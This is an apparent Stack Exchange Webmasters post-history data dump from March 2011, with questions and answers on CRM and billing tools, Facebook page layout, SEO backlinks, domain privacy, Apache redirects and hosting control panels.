  <row Id="22566" PostHistoryTypeId="2" PostId="10118" RevisionGUID="54c818b4-d302-4c6e-b59e-a18651e34e12" CreationDate="2011-03-05T18:22:25.110" UserDisplayName="user5865" Text="I am currently using ActiveCollab but it lacks the typical CRM features. I can't even keep notes about a customer saved in one place.&#xD;&#xA;&#xD;&#xA;What I am looking for is a simple but efficient CRM application that allows me to store all the (potential) customers along with their phone calls noted down, contracts, agreements.&#xD;&#xA;&#xD;&#xA;On the billing end, I should be able to keep track of invoices and payments, along with a bit of sales reports.&#xD;&#xA;&#xD;&#xA;A great extra would be a ticket support feature but not really necessary&#xD;&#xA;&#xD;&#xA;I looked at VTiger and SugarCRM at first. Though, they look too complex on the sales/campaigns end but completely lack the billing side.&#xD;&#xA;&#xD;&#xA;Do you have some good apps/services to suggest? :) Any programming language or OS would do. Both paid and free.&#xD;&#xA;&#xD;&#xA;Thanks Mike&#xD;&#xA;" />
  <row Id="22567" PostHistoryTypeId="1" PostId="10118" RevisionGUID="54c818b4-d302-4c6e-b59e-a18651e34e12" CreationDate="2011-03-05T18:22:25.110" UserDisplayName="user5865" Text="CRM + Invoicing/Billing + Ticketing for a small web design company" />
  <row Id="22568" PostHistoryTypeId="3" PostId="10118" RevisionGUID="54c818b4-d302-4c6e-b59e-a18651e34e12" CreationDate="2011-03-05T18:22:25.110" UserDisplayName="user5865" Text="&lt;php&gt;&lt;service&gt;" />
  <row Id="22571" PostHistoryTypeId="5" PostId="10116" RevisionGUID="1eb3d2a5-be28-4c97-97d6-9d863a5d99aa" CreationDate="2011-03-05T18:54:21.937" UserId="1253" Comment="Placed answer as update, deleted answer" Text="This is a recent problem I've been having.&#xD;&#xA;&#xD;&#xA;My site can be accessed from almost everywhere else except from my home IP, where I do most of my editing/updating, etc. I've tested my connection from my school's network, a friend's connection from out of state (multiple states), and through a tethered connection with my friend's Android. It works in all those cases, both viewing, accessing the cPanel, and using FTP.&#xD;&#xA;&#xD;&#xA;Here's the problem that happens to me when I try to view it from my home IP:&#xD;&#xA;&#xD;&#xA;- The page times out in Firefox, IE, and Chrome.&#xD;&#xA;- Using the cmd, I ran tracert and ping, both as failed attempts. Log [here.](http://pastebin.com/rkP5Dc8D)&#xD;&#xA;- [downforeveryoneorjustme.com](http://www.downforeveryoneorjustme.com/wgxstudios.com) says my site is up. So do the other site checkers.&#xD;&#xA;- I can't access my cPanel or FTP accounts.&#xD;&#xA;- I can't access the host site. (I use perfectz.info for hosting, and I can't access their site either.)&#xD;&#xA;&#xD;&#xA;System settings:&#xD;&#xA;&#xD;&#xA;- No firewall enabled.&#xD;&#xA;- Ports are seemingly properly forwarded. (e.g. The ports are open in the router settings, and are open everywhere else.)&#xD;&#xA;- I have an email forwarder set up from the cPanel that **works just fine.** (i.e. I can receive emails sent to that address.&#xD;&#xA;&#xD;&#xA;If any other information is needed, I'll do my best to provide it.&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;@ilhan: I use two things:&#xD;&#xA;&#xD;&#xA;1) The site cPanel from in-browser.&#xD;&#xA;&#xD;&#xA;2) Dreamweaver CS5 FTP.&#xD;&#xA;&#xD;&#xA;@Matthias: I tested both, and it passes the dual stack with a 10/10. What should I do then?" />
  <row Id="22572" PostHistoryTypeId="6" PostId="10116" RevisionGUID="1eb3d2a5-be28-4c97-97d6-9d863a5d99aa" CreationDate="2011-03-05T18:54:21.937" UserId="1253" Comment="Placed answer as update, deleted answer" Text="&lt;ip&gt;&lt;sites&gt;&lt;address&gt;" />
  <row Id="22574" PostHistoryTypeId="2" PostId="10120" RevisionGUID="19bfbb70-1c22-47c4-89ed-07036a56c14a" CreationDate="2011-03-05T19:27:42.620" UserId="5739" Text="WHMCS ticks all of those boxes.&#xD;&#xA;&#xD;&#xA;Invoicing, billing, customer notes, support tickets, knowledgebase etc. It is paid for but a few resellers do offer it as part of their package, [EZPZHosting][1] are one.&#xD;&#xA;&#xD;&#xA;I have just moved over to it from Helm and after a bit of a bedding in period I am loving it. All my domain names are organsied and billed automatically, it links in via API's to the big domain resellers, it does one off invoices, splits, loads of features as well as the support ticket and knowledgebase. Love it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ezpzhosting.co.uk/" />
  <row Id="22575" PostHistoryTypeId="2" PostId="10121" RevisionGUID="91d6c7ab-58bb-4bf2-b9ee-539f00f5ea09" CreationDate="2011-03-05T19:27:57.300" UserId="5849" Text="Have you looked at Infusionsoft? It's kind of expensive, but it does both CRM and Billing. I don't think it does tracking natively, but it has a great API, so it would be pretty easy to hook up with some other bug tracker. &#xD;&#xA;&#xD;&#xA;The only other one I have used is Sugar, which is actually very flexible and covers projects and bug tracking nicely, but as you mentioned, doesn't have billing. When I've needed to use sugar for billing, I had to write a script that syncs sugar data with another software. &#xD;&#xA;&#xD;&#xA;Not really a good answer. good luck finding something. " />
  <row Id="22576" PostHistoryTypeId="2" PostId="10122" RevisionGUID="49c51124-f96c-40f0-b8ab-910287f4c7cc" CreationDate="2011-03-05T19:54:47.513" UserId="3718" Text="I am developing a Facebook page for my web design/development business, and I've noticed that the page I have created has the tabs aligned to the left hand side of the page underneath the page image. I then look at other pages such as Wetherspoons and Porsche and their tabs are aligned to the top of the page. Why is it like this? Is there a configuration I've missed that allows you to change the layout of the tabs?&#xD;&#xA;&#xD;&#xA;Cheers!" />
  <row Id="22577" PostHistoryTypeId="1" PostId="10122" RevisionGUID="49c51124-f96c-40f0-b8ab-910287f4c7cc" CreationDate="2011-03-05T19:54:47.513" UserId="3718" Text="Some Facebook Pages Show Tabs On The Top Of Page, And Others On The Left. Why?" />
  <row Id="22578" PostHistoryTypeId="3" PostId="10122" RevisionGUID="49c51124-f96c-40f0-b8ab-910287f4c7cc" CreationDate="2011-03-05T19:54:47.513" UserId="3718" Text="&lt;facebook&gt;" />
  <row Id="22579" PostHistoryTypeId="2" PostId="10123" RevisionGUID="5cb814e4-ec9b-4262-a875-fa28474653bb" CreationDate="2011-03-05T20:14:41.597" UserId="5870" Text="GIFs aren't restricted to 256 colors, lol: http://phil.ipal.org/tc217.gif" />
  <row Id="22580" PostHistoryTypeId="25" PostId="10118" RevisionGUID="9077dcfa-32ab-4414-bbb9-21be05f95d61" CreationDate="2011-03-05T20:23:19.563" Comment="http://twitter.com/#!/StackWebmasters/status/44130893157249025" />
  <row Id="22581" PostHistoryTypeId="2" PostId="10124" RevisionGUID="851ef230-70ea-435e-8855-44d5fbbc4e79" CreationDate="2011-03-05T21:57:04.597" UserId="4205" Text="What is better for user? The site has a lot of text to read and I would like to make it as user friendly as possible." />
  <row Id="22582" PostHistoryTypeId="1" PostId="10124" RevisionGUID="851ef230-70ea-435e-8855-44d5fbbc4e79" CreationDate="2011-03-05T21:57:04.597" UserId="4205" Text="black background &amp; white letters or white background &amp; black letters?" />
  <row Id="22583" PostHistoryTypeId="3" PostId="10124" RevisionGUID="851ef230-70ea-435e-8855-44d5fbbc4e79" CreationDate="2011-03-05T21:57:04.597" UserId="4205" Text="&lt;html&gt;&lt;css&gt;&lt;website-design&gt;&lt;user-friendly&gt;&lt;ux&gt;" />
  <row Id="22584" PostHistoryTypeId="2" PostId="10125" RevisionGUID="1ed7e19c-8271-4c7f-ae24-2a0c2a814a57" CreationDate="2011-03-05T22:17:47.853" UserId="5729" Text="my Adsense Ad's wont show up. I have embedded the HTML into my website and placed it accordingly, but nothing shows up on the page.&#xD;&#xA;&#xD;&#xA;It has been like this for 2 days now, would this have something to do with my website creator?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Zutroy&#xD;&#xA;" />
  <row Id="22585" PostHistoryTypeId="1" PostId="10125" RevisionGUID="1ed7e19c-8271-4c7f-ae24-2a0c2a814a57" CreationDate="2011-03-05T22:17:47.853" UserId="5729" Text="Adsense Ad's wont show up" />
  <row Id="22586" PostHistoryTypeId="3" PostId="10125" RevisionGUID="1ed7e19c-8271-4c7f-ae24-2a0c2a814a57" CreationDate="2011-03-05T22:17:47.853" UserId="5729" Text="&lt;google-adsense&gt;" />
  <row Id="22587" PostHistoryTypeId="2" PostId="10126" RevisionGUID="3583c5aa-f102-45ce-83de-34345e72bf5f" CreationDate="2011-03-05T22:29:33.820" UserId="5718" Text="Your page is using the new &quot;Upgraded&quot; Facebook layout. Wetherspoons and Porsche are using the old layout but will be automatically upgraded on March the 10th. There's nothing you can do about it if you prefer the old layout." />
  <row Id="22588" PostHistoryTypeId="2" PostId="10127" RevisionGUID="215d4933-96ed-4b59-961f-a4342d502c06" CreationDate="2011-03-05T23:11:47.520" UserId="5872" Text="I'm planning to create a new site that (in hopes) will make it to a decent state of popularity and use. I have made sites before, but they weren't serious, with any intended purpose other than personal and friend use.&#xD;&#xA;&#xD;&#xA;I've never been able to find a solid post on good steps to protecting yourself, and your site/idea before you start. This site will always be free, and will not be bringing it any revenue by ads or whatnot, but I plan to in the future and would want to make I'm in the clear legally for one.&#xD;&#xA;&#xD;&#xA;Do you need to copyright anything? Or anything of the same concept as copyright? Do I make an LLC to operate it under?&#xD;&#xA;&#xD;&#xA;Apologies for this extremely poorly written question, basically I want to be both legal, and I want to make sure nobody can just rip my idea or name(s).&#xD;&#xA;&#xD;&#xA;(I'm sure this will be more concise as questions here are asked)&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="22589" PostHistoryTypeId="1" PostId="10127" RevisionGUID="215d4933-96ed-4b59-961f-a4342d502c06" CreationDate="2011-03-05T23:11:47.520" UserId="5872" Text="New website, plans to go large. How do you protect yourself?" />
  <row Id="22590" PostHistoryTypeId="3" PostId="10127" RevisionGUID="215d4933-96ed-4b59-961f-a4342d502c06" CreationDate="2011-03-05T23:11:47.520" UserId="5872" Text="&lt;websites&gt;&lt;legal&gt;&lt;copyright&gt;&lt;protection&gt;" />
  <row Id="22591" PostHistoryTypeId="25" PostId="10125" RevisionGUID="c5c5b442-dd7e-4f01-8934-23df4baceee1" CreationDate="2011-03-05T23:23:19.833" Comment="http://twitter.com/#!/StackWebmasters/status/44176192298954753" />
  <row Id="22592" PostHistoryTypeId="17" PostId="10129" RevisionGUID="573f2687-8cfb-4dc2-8909-e5de93f3a961" CreationDate="2011-03-05T23:41:44.390" UserId="-1" Comment="from http://stackoverflow.com/questions/5204391/magento-how-to-check-all-installed-extensions/5205317#5205317" Text="" />
  <row Id="22593" PostHistoryTypeId="2" PostId="10129" RevisionGUID="4c33eb8b-8d39-4fc3-8e38-e9605b5c42a5" CreationDate="2011-03-05T17:06:57.540" UserId="4389" Text="There's a lot of confusion around terminology here.  Magento, the programming system, has code Modules.  These modules are often (incorrectly, although I've done it myself) called extensions.  Modules allow you to add code to Magento's configuration based MVC system.  &#xD;&#xA;&#xD;&#xA;Magento also has a system called Magento Connect.  Magento Connect allows you to install extensions.  Magento Connect extensions are special pear packages.  These packages can install a file **anywhere** in the Magento system.  An extension may contain many Modules.  It may also contain arbitrary files that are not part of a module.&#xD;&#xA;&#xD;&#xA;There's no formal place to check which modules are installed in Magento.  Informally, people use the Disable Module Output configuration section at &#xD;&#xA;&#xD;&#xA;	System -&gt; Configuration -&gt; Advanced -&gt; Disable Modules Output&#xD;&#xA;	&#xD;&#xA;This section will create a list of each programatic module installed in the system&#xD;&#xA;&#xD;&#xA;For Connect extensions, go to &#xD;&#xA;&#xD;&#xA;	System -&gt; Magento Connect -&gt; Magento Connect Manager&#xD;&#xA;	&#xD;&#xA;This is where you're supposed to install/remove/manage your connect extensions.  &#xD;&#xA;&#xD;&#xA;There's still the problem of manually installed extensions.  Magento doesn't offer a formal marketplace.  Many third party extension developers have created their own installer systems, or else have you install their files manually.  There's no way to track these extensions other than diffing your code-base." />
  <row Id="22594" PostHistoryTypeId="2" PostId="10128" RevisionGUID="dafb3494-e799-4c8c-8fb2-ec16bf344d36" CreationDate="2011-03-05T14:28:35.243" UserDisplayName="From.ME.to.YOU" Text="i'm new to magento and i want to check all installed extensions on my magento? where can i check that in the admin panel?" />
  <row Id="22595" PostHistoryTypeId="1" PostId="10128" RevisionGUID="dafb3494-e799-4c8c-8fb2-ec16bf344d36" CreationDate="2011-03-05T14:28:35.243" UserDisplayName="From.ME.to.YOU" Text="magento:: how to check all installed extensions?" />
  <row Id="22596" PostHistoryTypeId="3" PostId="10128" RevisionGUID="dafb3494-e799-4c8c-8fb2-ec16bf344d36" CreationDate="2011-03-05T14:28:35.243" UserDisplayName="From.ME.to.YOU" Text="&lt;php&gt;&lt;magento&gt;" />
  <row Id="22597" PostHistoryTypeId="17" PostId="10128" RevisionGUID="43dcfa2b-b25e-428a-b1ca-b1cbdffd3195" CreationDate="2011-03-05T23:41:44.390" UserId="-1" Comment="from http://stackoverflow.com/questions/5204391/magento-how-to-check-all-installed-extensions" Text="" />
  <row Id="22598" PostHistoryTypeId="2" PostId="10130" RevisionGUID="e4aa33da-9ec6-474f-a563-7d344ee0e122" CreationDate="2011-03-05T23:37:49.603" UserDisplayName="MohamedKadri" Text="Is the SEO value the same for backlinks coming from other pages within the same site and backlinks coming from another site?&#xD;&#xA;&#xD;&#xA;And is there a difference in value between a backlink coming from a site that has the same topic and a backlink coming from a site that has another topic&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="22599" PostHistoryTypeId="1" PostId="10130" RevisionGUID="e4aa33da-9ec6-474f-a563-7d344ee0e122" CreationDate="2011-03-05T23:37:49.603" UserDisplayName="MohamedKadri" Text="Backlinks and SEO" />
  <row Id="22600" PostHistoryTypeId="3" PostId="10130" RevisionGUID="e4aa33da-9ec6-474f-a563-7d344ee0e122" CreationDate="2011-03-05T23:37:49.603" UserDisplayName="MohamedKadri" Text="&lt;seo&gt;" />
  <row Id="22601" PostHistoryTypeId="17" PostId="10130" RevisionGUID="6cea237e-7f6b-445e-b0a8-5815c2b8147c" CreationDate="2011-03-05T23:50:27.443" UserId="-1" Comment="from http://stackoverflow.com/questions/5207558/backlinks-and-seo" Text="" />
  <row Id="22603" PostHistoryTypeId="2" PostId="10132" RevisionGUID="bc0a6f61-c7f4-4d50-8d02-f6b4803d303b" CreationDate="2011-03-06T00:33:54.733" UserId="5849" Text="You get much more value from backlinks coming from other sites (sites that are on a different ip as your sites). You get more value from sites that are on the same topic, but the different isn't nearly as big as the your site vs off site backlinks. What you should be looking at is whether the link is no-follow or do-follow. The SEO Quake browser plugin can help you determine this. Also you get more value from offsite backlinks if the site has a high pagerank. " />
  <row Id="22604" PostHistoryTypeId="2" PostId="10133" RevisionGUID="d5237715-0eee-4697-806a-81fe5cd73774" CreationDate="2011-03-06T00:37:55.750" UserId="5849" Text="A light background with dark text is easier on the eyes and your readers will appreciate it on a site with lots of text. &#xD;&#xA;&#xD;&#xA;Dark background websites are good for graphic centric sites, such as a photography gallery or something like that. The dark background can show the image colors better. " />
  <row Id="22605" PostHistoryTypeId="2" PostId="10134" RevisionGUID="2bf2af99-ab7c-4c35-a8d2-6233e374220e" CreationDate="2011-03-06T00:41:10.217" UserId="5849" Text="Yes. Facebook is changing their profiles to the version with the tabs on the side. I believe that they are doing this to unify the pages and the profiles and make them more similar to one another. They are also letting people use facebook from the point of view of thier page. But its not a setting, you just caught facebook in the middle of their rollout. " />
  <row Id="22606" PostHistoryTypeId="2" PostId="10135" RevisionGUID="6998f9b8-21d0-44c0-bc5b-4aac8a1605a6" CreationDate="2011-03-06T01:31:28.957" UserId="5810" Text="Also avoid having designs in the background if you can... this could make it more difficult to read as well.  If you don't have to have some sort of design or logo under the text try to make the coloring match the background as closely as you can so its just barely visible." />
  <row Id="22608" PostHistoryTypeId="2" PostId="10136" RevisionGUID="251efd30-8e65-4223-9fd7-ea69a6e1e23e" CreationDate="2011-03-06T01:56:54.347" UserId="5406" Text="Using img.widgets.com for cookieless requests won't work if your main pages are hosted on widgets.com (as opposed to a subdomain, like www.widgets.com).  This is because the domain scope of a cookie is a domain and all subdomains, and so if the cookie's domain is widgets.com (necessary to get the cookie sent to widgets.com) then the cookie will also get sent in requests to img.widgets.com.&#xD;&#xA;&#xD;&#xA;So, if your service is based on widgets.com cookies, you'd need to use a separate domain to host your cookieless items. " />
  <row Id="22609" PostHistoryTypeId="25" PostId="10130" RevisionGUID="c8f7711e-f673-41c6-91c8-20f5c9653dd6" CreationDate="2011-03-06T02:23:19.640" Comment="http://twitter.com/#!/StackWebmasters/status/44221489238654976" />
  <row Id="22610" PostHistoryTypeId="2" PostId="10137" RevisionGUID="19261c69-b5cc-4d0f-8a40-0be5664bfe53" CreationDate="2011-03-06T02:15:52.013" UserId="5876" Text="Let's say I have the sites [siteA.com][1] and [siteB.com][2]. They are hosted such that [siteB.com][3] actually points to [siteA.com/siteB][4].&#xD;&#xA;&#xD;&#xA;How can I block someone from visiting [siteA.com/siteB][5] using `mod_rewrite`?&#xD;&#xA;&#xD;&#xA;So far I've tried this to no avail (in root of siteA.com):&#xD;&#xA;&#xD;&#xA;    RedirectMatch 301 ^/siteB/$ http://someothersite.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteA.com&#xD;&#xA;  [2]: http://siteB.com&#xD;&#xA;  [3]: http://siteB.com&#xD;&#xA;  [4]: http://siteA.com/siteB.com&#xD;&#xA;  [5]: http://siteA.com/siteB" />
  <row Id="22611" PostHistoryTypeId="1" PostId="10137" RevisionGUID="19261c69-b5cc-4d0f-8a40-0be5664bfe53" CreationDate="2011-03-06T02:15:52.013" UserId="5876" Text="How to block access to a sub-site with mod_rewrite?" />
  <row Id="22612" PostHistoryTypeId="3" PostId="10137" RevisionGUID="19261c69-b5cc-4d0f-8a40-0be5664bfe53" CreationDate="2011-03-06T02:15:52.013" UserId="5876" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;url-rewriting&gt;&lt;url&gt;" />
  <row Id="22613" PostHistoryTypeId="17" PostId="10137" RevisionGUID="a110f5d0-a0fd-40b7-94b1-647407a6896c" CreationDate="2011-03-06T02:26:47.610" UserId="-1" Comment="from http://serverfault.com/questions/243776/how-to-block-access-to-a-sub-site-with-mod-rewrite" Text="" />
  <row Id="22614" PostHistoryTypeId="2" PostId="10138" RevisionGUID="78ba0925-5da3-4a96-819b-68d236f5b287" CreationDate="2011-03-06T03:35:36.347" UserDisplayName="Abby" Text="I want to own, create and run x# of domains. I do not want 'whois' to have my name, home address and home phone available to anyone who looks me up.&#xD;&#xA;I've already bought a mailbox that I can use for my physical address. But... that doesn't get my name and number question answered.&#xD;&#xA;What is the best way to be anonymous yet still be legal?&#xD;&#xA;Do I need to incorporate all my sites and get an LLC?&#xD;&#xA;Can I create a company name without becoming an LLC?&#xD;&#xA;Then there's the phone number....&#xD;&#xA;Thanks in advance to all who respond! " />
  <row Id="22615" PostHistoryTypeId="1" PostId="10138" RevisionGUID="78ba0925-5da3-4a96-819b-68d236f5b287" CreationDate="2011-03-06T03:35:36.347" UserDisplayName="Abby" Text="How can I keep my privacy while owning multiple domain names?" />
  <row Id="22616" PostHistoryTypeId="3" PostId="10138" RevisionGUID="78ba0925-5da3-4a96-819b-68d236f5b287" CreationDate="2011-03-06T03:35:36.347" UserDisplayName="Abby" Text="&lt;untagged&gt;" />
  <row Id="22617" PostHistoryTypeId="17" PostId="10138" RevisionGUID="d150473a-8570-46e6-9462-8f76829ab4a7" CreationDate="2011-03-06T04:30:33.893" UserId="-1" Comment="from http://superuser.com/questions/253769/how-can-i-keep-my-privacy-while-owning-multiple-domain-names" Text="" />
  <row Id="22618" PostHistoryTypeId="2" PostId="10139" RevisionGUID="6dd0e295-4011-4e64-aa86-bffb16b16f71" CreationDate="2011-03-06T04:44:10.903" UserId="1064" Text="Business registration is not the most economical solution to achieve privacy - see Wikipedia's [domain privacy][1] article for the more common means of achieving privacy without providing false information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Domain_privacy" />
  <row Id="22619" PostHistoryTypeId="25" PostId="10137" RevisionGUID="237ba125-b1c5-4817-9845-1b7c57186ad8" CreationDate="2011-03-06T05:23:20.210" Comment="http://twitter.com/#!/StackWebmasters/status/44266789131141120" />
  <row Id="22620" PostHistoryTypeId="2" PostId="10140" RevisionGUID="7204f671-800b-4156-8531-c79c5a557c7f" CreationDate="2011-03-06T06:51:52.640" UserDisplayName="user5878" Text="Very informative article.I agree that meta tags are irrelevant now a days.It gives list of your targeted keywords to your competitor very easily.Instead of using meta tag keyword use meta tag description.Use your specific keyword phrase just once within the description tag.&#xD;&#xA;" />
  <row Id="22621" PostHistoryTypeId="25" PostId="10138" RevisionGUID="b3aac6c5-4a5a-4cec-848d-bf42ad59b285" CreationDate="2011-03-06T08:23:20.420" Comment="http://twitter.com/#!/StackWebmasters/status/44312090416119808" />
  <row Id="22622" PostHistoryTypeId="2" PostId="10141" RevisionGUID="49f28616-7ff5-4806-ac7f-d127fb7cddae" CreationDate="2011-03-06T08:54:05.567" UserId="4770" Text="I have a typical blog that has recent posts on the main page, and each post's title links to a page that only shows that one article and comments and such.  I was looking through some of the keywords used to get to my site and I was noticing that some of the searches would only show my main page, and not the page for the article.  If users have to find the article by scrolling through the main page, it just makes it more difficult.&#xD;&#xA;&#xD;&#xA;Is there some way that I can tell search engines to rank the content page higher than my index page?  Or can I do something else like not display the full text of the posts on the main page?" />
  <row Id="22623" PostHistoryTypeId="1" PostId="10141" RevisionGUID="49f28616-7ff5-4806-ac7f-d127fb7cddae" CreationDate="2011-03-06T08:54:05.567" UserId="4770" Text="Blog: Search results prefer index page over content pages." />
  <row Id="22624" PostHistoryTypeId="3" PostId="10141" RevisionGUID="49f28616-7ff5-4806-ac7f-d127fb7cddae" CreationDate="2011-03-06T08:54:05.567" UserId="4770" Text="&lt;seo&gt;&lt;blog&gt;" />
  <row Id="22625" PostHistoryTypeId="2" PostId="10142" RevisionGUID="764b0786-7b5b-41bc-a325-c11be26fc502" CreationDate="2011-03-06T09:00:38.310" UserId="1608" Text="Privacy Registration&#xD;&#xA;--------------------&#xD;&#xA;&#xD;&#xA;Most domain registrars offer this. " />
  <row Id="22626" PostHistoryTypeId="2" PostId="10143" RevisionGUID="2c48b21e-660e-4152-a477-ad9e6a3f761c" CreationDate="2011-03-06T10:57:48.200" UserId="4744" Text="Is there a way to simulate (maybe online) the rendering of a page with a low-end pc?&#xD;&#xA;&#xD;&#xA;Actually I am testing it with an i7, but I guess not everyone got a quad-core.&#xD;&#xA;&#xD;&#xA;(ps. without downclocking my pc)&#xD;&#xA;&#xD;&#xA;Thanks all" />
  <row Id="22627" PostHistoryTypeId="1" PostId="10143" RevisionGUID="2c48b21e-660e-4152-a477-ad9e6a3f761c" CreationDate="2011-03-06T10:57:48.200" UserId="4744" Text="Testing website with a low CPU ghz" />
  <row Id="22628" PostHistoryTypeId="3" PostId="10143" RevisionGUID="2c48b21e-660e-4152-a477-ad9e6a3f761c" CreationDate="2011-03-06T10:57:48.200" UserId="4744" Text="&lt;testing&gt;" />
  <row Id="22629" PostHistoryTypeId="25" PostId="10143" RevisionGUID="6e8a689a-78b1-40c1-bc27-742a4efb3eb2" CreationDate="2011-03-06T11:23:20.897" Comment="http://twitter.com/#!/StackWebmasters/status/44357388958052352" />
  <row Id="22630" PostHistoryTypeId="2" PostId="10144" RevisionGUID="76f7068c-bdac-471e-a7f1-9a4a892ff742" CreationDate="2011-03-06T12:20:53.610" UserId="2972" Text="Virtualization might be the best way to test this. You can get [VMware Player][1] for free to try it out.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vmware.com/products/player/" />
  <row Id="22631" PostHistoryTypeId="2" PostId="10145" RevisionGUID="bbd9751a-6cd6-4bc2-b948-ec3c881e2c73" CreationDate="2011-03-06T12:49:21.003" UserId="3111" Text="I tried hard a few times to use google sites, but it ended up being more work trying to change the look and feel to the way you want than actually creating content for it.&#xD;&#xA;&#xD;&#xA;You will find amazing alternatives that are also free that allow you much more power, and even will let you export your site as normal html files (so you can host it somewhere else):&#xD;&#xA;&#xD;&#xA; - [weebly.com][1]&#xD;&#xA; - [yola.com][2] &#xD;&#xA; - [doodlekit.com][3]&#xD;&#xA; - [webnode.com][4]&#xD;&#xA; - [webstarts.com][5]&#xD;&#xA; - [webs.com][6]&#xD;&#xA; - [wix.com][7] &#xD;&#xA; - [jimdo.com][8]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.weebly.com&#xD;&#xA;  [2]: http://www.yola.com&#xD;&#xA;  [3]: http://www.doodlekit.com&#xD;&#xA;  [4]: http://www.webnode.com&#xD;&#xA;  [5]: http://www.webstarts.com&#xD;&#xA;  [6]: http://www.webs.com&#xD;&#xA;  [7]: http://www.wix.com&#xD;&#xA;  [8]: http://www.jimdo.com" />
  <row Id="22632" PostHistoryTypeId="2" PostId="10146" RevisionGUID="c4e4962c-7b0b-487b-8908-fdc9dbfef3ec" CreationDate="2011-03-06T13:42:26.093" UserId="2840" Text="If you want very poor performances, use [QEMU][1]. It's very usefull for this kind of tests&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.qemu.org/Main_Page" />
  <row Id="22633" PostHistoryTypeId="2" PostId="10147" RevisionGUID="366bc549-4103-4dd1-bc25-109e6e9ef3b7" CreationDate="2011-03-06T14:01:40.120" UserId="108" Text="You have a lot of choices legally and I am not a lawyer so you should definitely find and contact one that specializes in small business or internet business.  My opinion is that if you plan on having your site charge money at any point or providing a service to busineses, there is value in setting up an LLC because that way people and companies cannot sue you directly for any issues or mistakes that occur.  The chances are small but for the several hundred dollars that an LLC costs it could save you a lot of headaches.  And you can reuse the LLC in the future with other sites.&#xD;&#xA;&#xD;&#xA;As for protecting your idea.  There is really no way to fully protect your idea without trying to patent it.  Again, I am not a lawyer so talk to one about this but my opinion is that Software patents tend to be either very specific (Amazon 1 click) or very broad (Paul Allen's company holdsmany of these).  The narrow patents can have serious value if you find something no one else is doing that is simple but that is usually hard to find. The wider patents tend to be of no value unless you have the team of lawyers to back them up.  Currently, it is even unknown if the wide area patents will stick (see Paul Allen [legal articles][1] for more).  Regardless, patenting is an expensive and potentially drawn out process.  Especially for small companies or individuals that probably don't have the money for lawyers who are familiar with the topic.&#xD;&#xA;&#xD;&#xA;Finally, the best way to protect your idea is to not share it with any tech sources before you go live.  You should also make sure your Copyright claim is clear on each page.  This won't necessarily stop others from copying your idea or trying to do something similar but it will give you a jump on the market which can give you a chance at building market share before other can enter.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?hl=&amp;q=paul+allen+patent+lawsuit&amp;aq=2&amp;oq=paul+allen+pa" />
  <row Id="22634" PostHistoryTypeId="25" PostId="10127" RevisionGUID="4d1d8dd9-4902-465d-a420-f1812963ec1e" CreationDate="2011-03-06T14:23:20.870" Comment="http://twitter.com/#!/StackWebmasters/status/44402689081217025" />
  <row Id="22635" PostHistoryTypeId="2" PostId="10148" RevisionGUID="7a59369b-e640-4384-89dc-ae95fad0c040" CreationDate="2011-03-06T14:32:41.800" UserId="5849" Text="I would first not display all of the text on the main blog page, although some readers don't like this, so take that into consideration. &#xD;&#xA;&#xD;&#xA;Secondly, I would make sure that your tags and categories don't display on the main page but do on the inner pages. (Your keywords are in your tags, right). This should increase the keyword density of the inner pages. &#xD;&#xA;&#xD;&#xA;Another suggestion is to get one of those plugins that show related posts. This can increase the onsite backlinks to the blog entries. &#xD;&#xA;&#xD;&#xA;Lastly, make sure that you are getting backlinks to your entries. You can use Hootsuite to post links to them on various social media sites and you can auto import your entries into Digg. &#xD;&#xA;&#xD;&#xA;Those ideas should at least help. " />
  <row Id="22636" PostHistoryTypeId="2" PostId="10149" RevisionGUID="f39ab19a-f9f4-44c0-a872-71380385374a" CreationDate="2011-03-06T16:13:35.917" UserId="1131" Text="Try something like&#xD;&#xA;&#xD;&#xA;    # you may need to drop the leading slash if you're doing this in .htaccess   &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^siteB\.com$&#xD;&#xA;    RewriteRule ^/siteB  http://siteB.com/ [R=301]" />
  <row Id="22640" PostHistoryTypeId="2" PostId="10151" RevisionGUID="eeb1e71a-592a-4d33-a153-9605eaf3c039" CreationDate="2011-03-06T17:20:31.273" UserId="5881" Text="I'm assuming that you're based in the United States.  As soon as you create any original work, it is automatically copyrighted, as long as you can prove that it's your original creation.&#xD;&#xA;&#xD;&#xA;See http://www.linkedin.com/answers/law-legal/corporate-law/intellectual-property/LAW_COR_IPP/706449-4535864 for a good discussion of this.&#xD;&#xA;&#xD;&#xA;If you want additional protection, register your work with the Library of Congress at http://copyright.gov/" />
  <row Id="22642" PostHistoryTypeId="2" PostId="10152" RevisionGUID="cd37d418-aef6-4e7f-896b-287d52f19237" CreationDate="2011-03-06T17:32:23.150" UserId="5881" Text="Are there any decent (i.e. stable and mature enough to use on paying clients) open-source alternatives to the cPanel web hosting control panel system?&#xD;&#xA;&#xD;&#xA;I'm fine with paying for it, but it must be open-source so that I can add Python/Django hosting features." />
  <row Id="22643" PostHistoryTypeId="1" PostId="10152" RevisionGUID="cd37d418-aef6-4e7f-896b-287d52f19237" CreationDate="2011-03-06T17:32:23.150" UserId="5881" Text="Open-Source cPanel alternative?" />
  <row Id="22644" PostHistoryTypeId="3" PostId="10152" RevisionGUID="cd37d418-aef6-4e7f-896b-287d52f19237" CreationDate="2011-03-06T17:32:23.150" UserId="5881" Text="&lt;web-hosting&gt;&lt;shared-hosting&gt;&lt;cpanel&gt;&lt;control-panel&gt;" />
  <row Id="22645" PostHistoryTypeId="2" PostId="10153" RevisionGUID="b415db5c-d778-4aae-adde-7b223c52044b" CreationDate="2011-03-06T18:18:24.740" UserId="1253" Text="I don't think it's open source but [Webmin](http://www.webmin.com) is freeware. I suspect you should be able to do what you need with I." />
